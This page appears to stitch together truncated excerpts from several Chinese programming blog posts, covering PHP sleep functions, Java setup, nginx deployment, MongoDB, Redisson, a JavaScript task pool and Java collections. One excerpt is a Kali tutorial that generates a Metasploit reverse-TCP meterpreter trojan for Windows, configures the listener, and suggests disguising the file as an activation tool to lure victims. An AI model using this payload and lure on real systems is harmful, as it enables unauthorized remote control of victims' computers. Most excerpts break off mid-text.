Other

php--------暂停函数 sleep() 与 usleep() 的区别

在PHP中暂停代码执行一定时间,有两个函数可以实现,一个是sleep(),另一个是usleep(),它们参数都是一个整数值。sleep()是暂停多少秒,usleep()是暂停多少微秒。  注意:usleep()单位是微秒,1秒 = 1000毫秒 ,1毫秒 = 1000微秒,即1微秒等于百万分之一秒。  如果程序中要使用要暂停多少毫秒,只能使用usleep(),务必注意参数的单位,假设暂停 50毫秒,应该使用 usleep(50000),而不是usleep(50)。 另外,这个暂停的时候不可能是百分百的准确,跟系统的调度、CPU时钟周期等等有一定关系。

安装Java

安装Java 我们双击本地的可执行文件。用户账户控制(有的可能没有该提示,取决于你的系统设置)提示选择是(Y)。 执行安装程序,单击下一步。 这里需要我们记住安装路径,可以选择默认路径也可以是自定义路径(如果是自定义路径的话,后续的配置环境变量只需要将JDK的目录配置到环境变量即可)。最后单击下一步。 (可选项),之前的版本中没有这个提示,如果有的话,点击确定。 (可选项),之前的版本中没有这个提示,如果有的话,点击下一步。 正在安装,请稍等。 安装完成,单击关闭。 配置JAVA_HOME和Path PS:千万别把 JAVA_HOME写成了 JAVA-HOME注意:JAVA_HOME的目录不允许有中文 拿到Java JDK的安装目录C:\Program Files\Java\jdk1.8.0_201。 依次打开控制面板▷系统与安全▷系统▷高级系统设置▷环境变量▷系统变量▷新建。变量名中输入JAVA_HOME,变量值中填写刚才获取到的路径C:\Program Files\Java\jdk1.8.0_201。 现在,JAVA_HOME添加完毕。我们来添加Path。 首先配置好要添加的路径%JAVA_HOME%\bin,该路径其实就相当于C:\Program Files\Java\jdk1.8.0_201\bin。 单击Path,然后单击编辑。 将%JAVA_HOME%\bin添加到变量值的末尾。注意路径前后需要英文状态的分号作为开始和结束,Windows的路径分隔符是以;作为分割的。 然后一路确定即可。 测试 打开终端输入java -version。 OK,java环境配置完毕。 接下来就是可选的操作了:禁止Java自动更新 依次打开控制面板▷程序▷Java。

如何将vue项目部署到nginx服务器

摘自:https://blog.csdn.net/web_Fkk/article/details/118597867 一、window系统下载nginx 建议下载稳定版,下载后解压到某个文件夹进入nginx文件夹有个cmd窗口也就是(nginx.exe),双击启动nginx在浏览器输入localhos,看到下面的页面就是启动成功 二、mac下载nginx 首先,mac系统下载得用brew 安装工具: homebrew(还没用过的小伙伴可以点链接进行了解或者自行百度) 安装完后,使用下面的命令下载nginx,下面命令是下载的国内源,因为下载国外的话非常非常慢,所以我选择了下载国内源 /bin/zsh -c “$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)” 完成后,在终端输入下列命令,查看nginx安装目录 open /usr/local/etc/nginx/ 成功打开了nginx目录,也可以看到servers目录以及nginx.conf的配置文件(后面会用到这个配置文件)。但我们并没有找到nginx被安装到了哪里。 终端继续执行: open /usr/local/Cellar/nginx //其实这个才是nginx被安装到的目录 启动nginx,终端输入如下命令 nginx 没有报错即为启动成功。 打开浏览器访问localhost,就会能看到nginx的欢迎界面啦。 ** 部署项目到nginx ** (1)第一种方法: 将使用npm run build打包好的项目,找到nginx文件下的html文件夹将里面的内容替换为dist文件夹里面的内容,然后刷新一下页面即可。 (2)第二种方式: 就是将dist整个文件夹复制到nginx的文件夹下(与html文件夹同级),该方法要到 conf文件夹下nginx.conf文件里面修改相关配置 该文件里面的location / {} 里面的root就是解压nginx的目录,意思是说,默认打开的是root(也就是根目录)下的HTML里面的index.html/index.htm的网页,也就是第一种方式打开部署到nginx项目的途径 采用第二种方式部署的话,就要修改这里面的路径配置(将html修改为dist),如下图: 修改完后要重启nginx,要重启才能生效。 sudo nginx -s reload // 修改配置后重新加载生效 sudo nginx -s stop // 快速停止nginx

MongoDB 相关的一些操作

一、 在 MongoDB Compass中输入条件查询数据 {src:小车} // = 该值 {src:{$eq:null}} //$eq 即 == {src:{$eq:null},timeout:{$ne:1}} //复合条件 , $ne 即 != {name: {$regex:/粉/}} //正则表达式: 本例相当于 like %粉% 二、 在本地导出导入 mongoDB数据表 (cmd或shell中) 如果是在windows中 ,需要设置环境变量(系统变量path 中添加 MongoDb的bin目录 如C:\Program Files\MongoDB\Server\4.2\bin) 1. 将数据库jijiu 的表99_category 导出至本机的 E:/99_category.json mongoexport -h 127.0.0.1 -d jijiu -c 99_category -o E:/99_category.json 2. (1的反向操作)将json导入数据表 mongoimport -d jijiu -c 99_category --file E:/99_category.json 三、创建删除数据库以及查询 (cmd 或shell中) mongo --host localhost:27017 //连接本地MongoDB show dbs //显示有哪些数据库 use exampledb //切换到或创建 数据库 exampledb,,如果什么都不操作离开的话,这个库就会被系统删除.

SpringBoot整合Redisson

SpringBoot整合Redisson对应的,这也是官方比较推荐的配置方式,本文就使用redisson来配置一个RedissonClient。 maven依赖 <!--redisson--> <dependency> <groupId>org.redisson</groupId> <artifactId>redisson-spring-boot-starter</artifactId> <version>3.17.0</version> <exclusions> <exclusion> <groupId>org.redisson</groupId> <artifactId>redisson-spring-data-23</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.redisson</groupId> <artifactId>redisson-spring-data-21</artifactId> <version>3.17.0</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-redis</artifactId> </dependency> 关于版本,直接去官网找下最新版即可,通过 redisson-spring-data-xx来适配spring的版本。上面是适配spring2.x版本的配置; 注意:redisson与redis在项目中都要用到所以也引入了 spring-boot-starter-data-redis。 Redisson配置文件 这里就配置一套单节点的redis,采用.yml文件的格式;配置如下: yml配置如下: spring.redis: enable: true url: 127.0.0.1 port: 6379 timeout: 2000 # 连接或读取超时时长(毫秒) database: 7 redisson: file: classpath:redisson.yml jedis: pool: max-active: 8 # 连接池最大连接数(使用负值表示没有限制) max-wait: 800 # 连接池最大阻塞等待时间(使用负值表示没有限制) max-idle: 8 # 连接池中的最大空闲连接 min-idle: 2 # 连接池中的最小空闲连接 本文通过spring.redis.redisson.file 来指定redisson的配置文件名称,和redis的配置分开放,这样做的好处就是比较清晰  redisson.yml 文件 # 单节点配置 singleServerConfig: # 连接空闲超时,单位:毫秒 idleConnectionTimeout: 10000 # 连接超时,单位:毫秒 connectTimeout: 10000 # 命令等待超时,单位:毫秒 timeout: 3000 # 命令失败重试次数,如果尝试达到 retryAttempts(命令失败重试次数) 仍然不能将命令发送至某个指定的节点时,将抛出错误。 # 如果尝试在此限制之内发送成功,则开始启用 timeout(命令等待超时) 计时。 retryAttempts: 3 # 命令重试发送时间间隔,单位:毫秒 retryInterval: 1500 # 密码 password: redis.

JavaScript 任务池

JavaScript 任务池 本文写于 2022 年 5 月 13 日 线程池 在多线程语言中,我们通常不会随意的在需要启动线程的时候去启动,而是会选择创建一个线程池。 所谓线程池,本意其实就是(不止这些作用,其余作用可以自行查阅): 节省操作系统资源 限制最大线程数。 对于 JavaScript 来说,虽然不存在“启动线程”这种问题,但我们还是可以通过类似的思想,来限制我们做异步操作的数量。 分析 首先我们需要一个数组,用它来存储尚未执行的任务,每个任务都是一个函数,这个函数必须要返回一个 Promise。 type Task = () => Promise<unknown>; const tasks: Task[] = []; 其次我们需要一个方法来进行任务的添加。 function addTask(task: Task): void; 最后我们需要一个函数来执行我们所有的 task。 而在这之前,我们还需要定义一个值,来定义同时执行的异步任务的最大数量。 function execTasks(): void; 实现 根据我们的分析,我们可以写下基础的代码如下: interface TaskPool { addTask(task: Task): void; } type Task = () => Promise<unknown>; function newTaskPool(max = 10): TaskPool { const tasks: Task[] = []; function addTask(task: Task): void {} function execTasks(): void {} } 新增任务非常简单,我们写出如下代码填充 addTask。

Kali利用msf入侵Windows电脑(最详细包会)

一、什么是msf msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.是用来生成后门的软件。 MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。 演示环境 使用Kali 2021.3进行演示操作 目标靶机: Win10专业版 软件:msfvenom、msfconsole(Kali系统内置) 二、渗透流程 1.进入管理员模式 命令: sudo su 解释: 不在管理员模式下运行可能会有权限不够的提示,为了避免命令执行失败,在管理员下运行以下命令 提示:执行命令之后输入Kali的密码,密码是被隐藏的,直接输入然后回车即可 2.生成可执行木马文件 命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<本地ip> LPORT=<本地端口号> –f exe –o <文件名>.exe 解释: 本地ip写自己Kali的IP地址,用ifconfig就能查看自己Kali的IP地址 本地端口自己随便设置一个没有被占用的端口号,如果端口号被占用那么文件会生成失败,换一个端口号就性 文件名可以随便写自己喜欢的名字,比如写Win10激活工具,可能更容易让目标主机上钩 当然MSF也可以用来入侵手机、mac、Linux等 这个就是Kali主机的IP地址 接下来运行命令生成木马 默认生成的文件在根目录下 把刚才生成的文件放到目标靶机Win10系统中 3.运行msfconsole命令 命令: msfconsole 4.配置参数 (1)命令: use exploit/multi/handler(选择模块) (2)命令: set payload windows/meterpreter/reverse_tcp(选择攻击模块) (3)命令: set LhOST 192.168.32.1(填写自己主机的IP地址) (4)命令: set lport 1111(填写刚才生成文件时的端口号) (5)命令: show options(查看设置参数) (6)命令: exploit -z -j(后台执行)

Java并发容器之CopyOnWriteArraySet源码分析

一、简介 CopyOnWriteArraySet底层是使用CopyOnWriteArrayList存储元素的,所以它并不是使用Map来存储元素的。 但是,CopyOnWriteArrayList底层其实是一个数组,它是允许元素重复的,那么用它来实现CopyOnWriteArraySet怎么保证元素不重复呢? 二、源码分析 Set类的源码一般都比较短,所以我们直接贴源码上来一行一行分析吧。 Set之类的简单源码适合泛读,主要是掌握一些不常见的用法。 像ConcurrentHashMap、ConcurrentSkipListMap之类的比较长的我们还是倾向分析主要的方法,适合精读,主要是掌握实现原理以及一些不错的思想,可能需要一两个小时才能看完一整篇文章。 public class CopyOnWriteArraySet<E> extends AbstractSet<E> implements java.io.Serializable { private static final long serialVersionUID = 5457747651344034263L; // 内部使用CopyOnWriteArrayList存储元素 private final CopyOnWriteArrayList<E> al; // 构造方法 public CopyOnWriteArraySet() { al = new CopyOnWriteArrayList<E>(); } // 将集合c中的元素初始化到CopyOnWriteArraySet中 public CopyOnWriteArraySet(Collection<? extends E> c) { if (c.getClass() == CopyOnWriteArraySet.class) { // 如果c是CopyOnWriteArraySet类型,说明没有重复元素, // 直接调用CopyOnWriteArrayList的构造方法初始化 @SuppressWarnings(unchecked) CopyOnWriteArraySet<E> cc = (CopyOnWriteArraySet<E>)c; al = new CopyOnWriteArrayList<E>(cc.al); } else { // 如果c不是CopyOnWriteArraySet类型,说明有重复元素 // 调用CopyOnWriteArrayList的addAllAbsent()方法初始化 // 它会把重复元素排除掉 al = new CopyOnWriteArrayList<E>(); al.

浅析js前端如何将word文档转为html:docx是怎样存储图片的、Java使用POI如何实现、前端使用Mammoth.js如何实现

先聊聊需求背景:公司运营需求,说在富文本编辑器中发布包含图片的 Word 文档时,图片和文本内容不能一起复制,每次她们都得分开处理,对于包含较多图片的 Word 时,她们处理起来很抓狂。 一、准备知识:docx 是怎样存储图片的  要解决上述的问题,首先就需要能够解析 Word 文档中的图片。目前 Word 有两种格式后缀分别是 .doc 和 .docx。97-2003 的旧版本文件名后缀就是 .doc, 2007 版以后的后缀名是 .docx。docx 格式是被压缩过的文档,体积更小,能处理更加复杂的内容,访问速度更快。  对于上述两种格式的 Word 文档,大家应该都很熟悉。但估计挺多小伙伴不知道 Word 文档是如何存储内容的,这里我们以 docx 格式为例。这里我已经提前准备了一个包含图片和文本的 test.docx 文件,然后复制一份重命名为 test.rar。看到 rar 后缀相信你已经猜到了,下一步我们要执行解压操作。  当完成解压操作之后,默认在当前目录会生成一个文件夹,该文件夹的主要目录结构如下:  这个就是我test文档里的3张图片  由此可见,在解压后 Word 文档中包含的图片会被保存到 word/media 目录下。而我们要解决的问题就是能识别到 Word 文档中的图片,然后自动上传到文件资源服务器。要实现这个功能的前提就是能够解析当前的 Word 文档,值得庆幸的是这个功能已经有前人帮我们实现了。  对于 Java 开发者来说,可以直接基于 POI 项目,POI 是 Apache 的一个开源项目,它的初衷是处理基于 Office Open XML 标准(OOXML)和 Microsoft OLE 2 复合文档格式(OLE2)的各种文件格式的文档,而且支持读写操作。  当然本文重点不是服务端解析方案,而是在前端如何实现 Word 解析并提取 Word 中的图片。同样对于纯前端的解析方案,mwilliamson 大佬已经帮我们实现了,下面我们来简单介绍一下 Mammoth.

IDEA javaWeb

原因 代码没有问题,但是servlet不能获取表单数据 IDEA中解决运行服务器Tomcat时默认打开http://localhost:8080/xxx_war_exploded,且打开localhost:8080报错问题 原因: 项目打包文件名弄错了,修改即可。 (可以运行服务器之后在 out 目录下artifacts 中查看。) 中间上部tomcat,点击编辑配置 进入该页面后选择部署 ,然后选择项目的名称,最后更改应用程序上下文为: / 。 idea的html和servlet不是一个端口号 将html文件放到 web 文件夹下即可 最后问题原因是html属性name前面多了逗号..... 反思:html属性用空格隔开,不需要逗号... 但是....系统不报错就... 设置IntelliJ IDEA修改jsp、servlet不用重新启动Tomcat 中间上部tomcat,点击编辑配置 将On ‘Update’ action设置为Redeploy 将设置为Update resourcees